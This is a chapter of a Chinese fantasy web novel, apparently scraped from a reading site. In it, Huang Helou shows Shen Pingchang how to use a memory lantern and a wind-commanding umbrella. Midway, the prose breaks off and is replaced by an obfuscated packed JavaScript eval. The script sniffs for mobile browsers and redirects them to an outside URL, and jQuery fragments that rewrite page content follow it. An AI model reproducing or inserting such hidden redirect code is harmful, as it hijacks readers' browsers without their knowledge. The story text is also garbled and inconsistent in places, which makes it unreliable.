25. 法器的使用方法

作品:《沈平常今天怂了吗?

    真正的黄鹤楼,到底是什么样的?


    沈平常脑子里不由自主地冒出这个念头。


    她这才发觉,自己对这个男人的了解实在太少了。他从天而降,通知她死讯,又给她布置地府的任务。


    这个男人令人捉摸不透。


    他可以戴着金丝眼镜,冷冰冰地眯起眼睛,说“千万不要爱上我”。


    他会用事不关己的语气说些恶劣的话,好像这世上没什么值得他在意的事。


    他在地府任性妄为,天不怕地不怕,仿佛无所不能。


    他还当过和尚?为什么会心甘情愿在地府的无间待那么多年,又为什么要去西天打架?


    还有他看她的眼神。是那样温柔,大概连他自己都没察觉到。那样的温柔,即使说再多狠话,表现得再冷漠,也遮掩不住。


    沈平常有种天生的动物般的敏锐,第一次见到黄鹤楼时她就知道,这个人是绝不会伤害她的。所以她才敢那样肆无忌惮。


    穷奇兽?西天的佛?


    黄鹤楼,你到底是个怎样的人?


    沈平常想着想着,不知不觉想出了神。


    她不知道的是,对面的男人同样在注视着她。


    他眼底那些戏谑和嘲讽不知何时已经褪尽,只剩下一片认真的、近乎贪婪的目光。他看她,看得那样仔细,仿佛要把她眉梢鬓角的每一寸都刻进骨头里。


    仿佛这一眼,就是永生永世。


    “对了!我找你有事!”


    沈平常猛地一拍脑袋,硬生生把自己从那些乱七八糟的思绪里拽了出来。


    黄鹤楼为什么在这院里发疯,还……还亲她。这件事她是不想多问了。


    聊了这么久,她能明显感受到,黄鹤楼并不想多谈关于他自己的事。


    一个人不想说的时候,就不要追问。否则得到的,也不一定是真话。


    不管前世种种,眼下最要紧的,是那七个孩子。


    按黄鹤楼和云游的说法,这七个孩子是女娲补天时留下的碎片,沾染了混沌之力,洒落人间,附在凡人的魂魄上。他们会挑选纯净的灵魂,而那些魂魄受混沌之力影响,往往早夭,即便死了,也容易怨气难消。


    她得尽快找到这些碎片。


    管它什么契约不契约呢?虽说那些佛祖控制了她,但说到底也是为了拯救世人。她不想被人当工具使,可也没法见死不救。


    至于净化混沌……总会有别的办法吧?也许不需要牺牲谁,也能找到解决的法子。沈平常是个悲观的乐观主义者,她始终相信,办法总比困难多,柳暗花明又一村。


    所以,当下最要紧的,就是渡化那些孩子。先渡周周,还有那个叫林婉的女孩。


    她看向黄鹤楼:“黄老大,江湖救急!有没有什么回溯到过去的法子?快教教我。这把伞,还有这个灯笼,到底该怎么用啊?”


    虽然契约里说她不能使用神力,否则会对天地格局造成巨大影响,只能用凡人之身去渡化,但也没说不能借用工具啊?不用白不用!否则她凡人之躯……啊不,鬼魂之躯,怎么可能完成这艰巨的任务啊?不得次次失败?


    她只是失忆了,又不是傻了。


    黄鹤楼站起身来。


    他个子很高,长发从肩头滑落,乌压压地垂到腰际,衬得那张脸美得近乎不真实。


    在那黑压压的眉峰底下,一双眼睛像月光下的深潭,时而露出水面下幽冷的波光,那光微微一闪,很快又暗了下去。


    他慵懒地站在那里,就像一尾搁浅在月下的银蛇,通身冷白,艳得惊心,连吐息都带着三分妖气。


    黄鹤楼的目光垂落在沈平常身上。


    这一眼落下去,那双妖冶的眸子里忽然漾开一点温柔。


    这个人真是一如既往地好学。


    也正因如此,才让她能在夹缝中扎根生长,最终开出属于自己的栀子花。


    这世界的美丽也在于此,总有人像她这般,纯真而勇敢,艳阳高照,一往无前。


    黄鹤楼右手轻轻一挥,小院便恢复了沈平常初见时的模样。


    正值盛夏,院中却温暖如春,连一丝暑气都渗不进来。青石小径两侧的花草高低错落,叶片油亮,花瓣舒展,不见一根杂草,可见主人照料得何等精心。那棵巨大的花树仍旧立在院角,枝干苍劲,树冠如盖,粉白色的花朵密密匝匝地开着,风一过,便有几瓣悠悠飘落。


    叽叽喳喳的声音从花树的方向响起来,透着藏不住的兴奋。


    “大人又回来啦!”


    “真的诶!我的灵力在唰唰往上长!”


    “大人什么时候才能彻底回来呀?她不在的这些年,我修炼得可慢了……比池塘里那只乌龟精还慢!”


    “你本来就没人家乌龟精勤快。”


    “你闭嘴!”


    “……”


    沈平常是第二次见这样的场景了,自然也不再吃惊,而且她现在有更重要的事。她左手拿伞,右手提着灯笼,眼巴巴地看着黄鹤楼。


    这两样东西,到底该怎么用啊?


    之前黄鹤楼倒是教过一些,但教的也太简单了吧!


    黄鹤楼挑了挑眉,微微一笑,伸手将灯笼从她手里提了过去。


    那灯笼的竹骨有些旧旧的,看上去十分古朴。他用修长的手指抵住了灯笼的底部,只轻轻一转。


    灯笼里便飞出了许多青蝶,这些青蝶亲昵地绕着沈平常打转,还有一只停在了她的肩膀上。


    这些青蝶她是见过的,可以替她引路。


    然后她看见黄鹤楼垂了眼眸,用指节在竹骨上叩了三下。


    笃、笃、笃。


    这敲击的声音很轻,还带着些许回响。


    灯笼霎时间亮了。


    光晕缓缓漾开,在两人之间铺出一小片幽蓝的光芒。


    沈平常不由自主地屏住了呼吸。


    她看见那光里似乎有什么东西在动——不是光影的摇曳,而是……像电影一样。


    一幅极淡的、几乎透明的画面,像水墨洇在宣纸上,一笔一笔地在灯笼纸上显现出来。


    这是一条很宽的河。河水有些浑浊,像是刚下过雨的样子。岸边有石阶,石阶上长满了湿漉漉的青苔。一个女人正蹲在石阶上浣洗衣物,身边一个小小的身影蹲在她旁边,伸手去够水面上的花瓣。


    突然,那小小的身影一晃,扑通一声就栽进了水里。


    女人连喊叫都来不及,二话不说直接跳了下去。水花溅得很高,混浊的河水灌进她的口鼻,她顾不得呛,拼命往水底扎。浑浊的水里什么也看不清,她伸手胡乱地捞,一次,两次,三次——


    终于,她摸到了一只小小的手。


    她把那小小的人儿从水里拽出来,托着后脑勺浮上水面。孩子呛了水,脸色憋得发青,等咳了几声后,终于哇地哭了出来。


    女人浑身湿透,头发散乱地贴在脸上,她紧紧地抱着小孩,


    “平常!你真是吓坏妈妈了。”


    沈平常看着这幅画面,不由得眼眶一红。


    这是她小时候贪玩掉进水里、妈妈救她的画面。


    “这是……”她问道,“这是我的记忆?”


    黄鹤楼点了点头,指尖在那盏灯上轻轻一拂。灯芯里便有一点幽光摇曳起来,像一只刚从深水中醒来的眼睛。


    “这盏灯叫回薄,能照见过去,回溯往事。只不过它倒转的不是时间,而是人的记忆。”


    沈平常愣了愣:“也就是说……它能看见人的过去?”她现在已经忍不住想拎起来照照自己了。


    黄鹤楼微微一笑:“可以。但你神力不够。这把伞只有你自己能用,也就是说,除非你恢复全部神力,否则你用不了。”


    “?”那到底有什么用?


    黄鹤楼轻咳一声:“你可以照见普通人的过去。”


    那就是说……她可以用这把伞去看林婉的记忆?


    他很严肃地看了她一眼:“但你务必要小心使用。因为你走进去的是别人的记忆,别人的痛苦、恐惧、绝望,都会原封不动地传给你。你会感同身受,就像自己亲身经历过一遍一样。”


    他转过头来,看着她的眼睛。


    那双眼睛里没了戏谑,没了嘲讽,甚至没了那层玩世不恭的薄雾。他看着她,认真地说道:


    “沈平常,你要渡的那些孩子,都是带着怨气死的。他们的记忆里,最多的东西是什么,你猜得到。”


    是痛苦。


    是恐惧。


    是无助。


    是被世界抛弃之后,坠入深渊之前,最后那一段黑暗的漫长的无人应答的路。


    沈平常抱着伞,抬头笑了一下。


    “你不是说了么?我是救世主。”她说,“我往日所承受的,想必比这艰难数万倍。”


    黄鹤楼眼底那片幽深的潭水里,有什么东西微微晃了一下。


    “再说了,”沈平常拍了拍怀里的伞,语气轻快起来,“你不是在么?”


    这句话说得随意,却让黄鹤楼整个人僵住了。


    “你在的话,我还怕什么呀。”沈平常低头摆弄着伞,没注意到他的异样,“你看,你这么厉害,天不怕地不怕的,连西天都敢去打。我要是真扛不住了,你还能不捞我?”


    她抬起头,冲他眨了眨眼。


    “对吧,黄老大?”


    黄鹤楼侧过脸,沈平常看不清他的表情。


    而花树上的小东西们却开始窃窃私语了,它们的声音压得极低,但架不住数量多,嗡嗡的像一群蜜蜂。


    “我就说黄大人暗恋……”


    “暗恋神女?”


    “这件事我早就知道了!而且……他刚刚都脸红了!”


    “嘘——小声点!大人听得见!”


    “她又没有神力,现在就是个普通鬼魂,听不见的!”


    “可我听得见。”


    黄鹤楼的声音不轻不重地飘过去,花树上瞬间安静了。


    现在这是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397129|199887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个安静如鸡的院子,安静得连花瓣落地的声音都能听见。


    沈平常却没注意到院子里的变化。她把流年灯小心地往怀里揣了揣,又举起另一只手里的油纸伞,在黄鹤楼面前晃了晃,“那些把伞呢?不会也得恢复全部神力才能用吧?”


    黄鹤楼接过伞。


    他没有回答,只是漫不经心地握着伞柄掂了掂,然后他手腕一翻,伞尖朝下,直接往地上一戳——


    只听“咔”的一声闷响,青石板地面硬生生被戳出一个洞来。沈平常眼皮跳了一下,嘴巴张的老大,我去!威力这么强!


    黄鹤楼面色不改,只用手轻轻拂过,那地面便恢复如初了。连道裂缝都没留下。


    “伞没打开之前就是剑,”他把伞竖起来,随意地拄在地上,“你随便戳就行。伞尖有净化效果,普通鬼魅都不是你的对手。”


    他又握住伞柄,用手抵住伞骨衔接处那个小小的铜箍,只见他的拇指轻轻一推——


    “唰”的一声。


    伞面撑开了。


    只一瞬间沈平常便感觉到整个院子的气流都变了。像是有什么东西在伞心深处苏醒过来,院里的风、檐下的风、花树间穿行的风,全都被它牵引着汇成一股看不见的洪流,朝伞面涌去。


    沈平常的头发被吹得往后飘,她下意识眯起眼睛。


    黄鹤楼又转了半圈伞柄,风也同样跟着转了方向。


    花树上那些开得正盛的花瓣被风卷起来,在空中旋成一个小小的漩涡,粉白相间,像一朵忽然盛开的风中花。他手腕轻轻一推,那漩涡便散开了,化作一蓬粉白色的雾,纷纷扬扬地落了沈平常一身。


    她还没来得及感叹,就看见伞骨之间有什么东西闪了一下。


    数道银白色的光芒从伞骨中激射而出,凌厉且迅疾,带着破空的尖啸,飞向四面八方。剑气掠过之处,空气都泛起了波纹。


    沈平常呆住了。


    一片花瓣正好落在她鼻尖上,她都没顾上去拂。


    “这是……”她伸出手,接住一片缓缓飘落的花瓣,“风?剑光?”


    “嗯。”黄鹤楼收了伞,动作干净利落,那些四散的剑气便瞬间消散,像从未存在过一样,“这把伞的伞骨里刻了风阵。撑开能引风,合上能聚气。”


    他把伞递回给她,手指不经意地碰了碰她的手背。


    “你要是想打架的话——”


    “撑开就行。风就是你的武器。”


    沈平常小心翼翼地接过伞,手指摩挲着伞上那些漂亮的栀子。她能感觉到有什么东西在伞骨深处沉睡,温驯而安静,却蕴含着令人心悸的磅礴的巨大的力量。


    她的脑子里已经开始飞速运转了。


    引风。聚气。伞尖能戳人。伞骨里藏着剑光。还能净化鬼魅。


    真是太厉害了!


    “那能不能飞?”她突然有个新的想法。


    “什么?”


    “利用风把自己托起来,”沈平常眼睛亮得惊人,“我能不能拽着伞柄飞?”


    黄鹤楼沉默了一瞬。


    他看着面前这个抱着伞满眼期待的人,忽然觉得有些好笑。她好像总是会有一些奇奇怪怪的念头,也永远能在绝境里找出缝隙,永远……


    “……你脑子转得倒是快。”他说。


    “能不能嘛!”


    “能。”


    “噢耶!”沈平常差点没蹦起来,怀里的伞被她攥得咯吱响。


    黄鹤楼忍了半晌,终于还是没忍住,嘴角微微翘了一下。他伸手按住她乱晃的肩膀,拇指抵住她的眉心。


    “直接站在伞下,”他的指尖微凉且带着一股淡淡的沉香气息,“想你想要去的地方。”


    沈平常还没来得及反应,眼前的景象就像被一只大手猛地攥住,拧了一下——


    下一秒,她就回到了火场中。


    炽热的空气扑面而来,火焰发出噼啪的爆裂声。她低头看了看手里的伞,又抬头看了看黄鹤楼。


    他站在她面前,衣角被热浪吹得猎猎作响。


    “所以,”他把声音提高了一些,压过火焰的咆哮,“你根本不用抓着伞柄像个智障一样在空中飞。”


    他的语气里带着一点嫌弃,


    “直接瞬移就可以了。”


    天呐。


    沈平常低头看看伞,又抬头看看黄鹤楼,再低头看看伞,忍不住咧开了嘴。


    好神奇的伞!!!


    她把回薄灯往怀里又塞了塞,把油纸伞握紧,像得了什么了不得的宝贝一样,恨不得现在就撑开试试所有功能。


    “接下来——”


    黄鹤楼的声音忽然轻了,不……那声音突然变得很远,


    “就要靠你自己了。”


    沈平常抬起头。


    他已经消失不见了。


    只剩她一个人,站在火场中央,一手握着伞,一手捂着怀里的灯。


    风从四面八方涌过来,把她的衣角也同样吹得猎猎作响。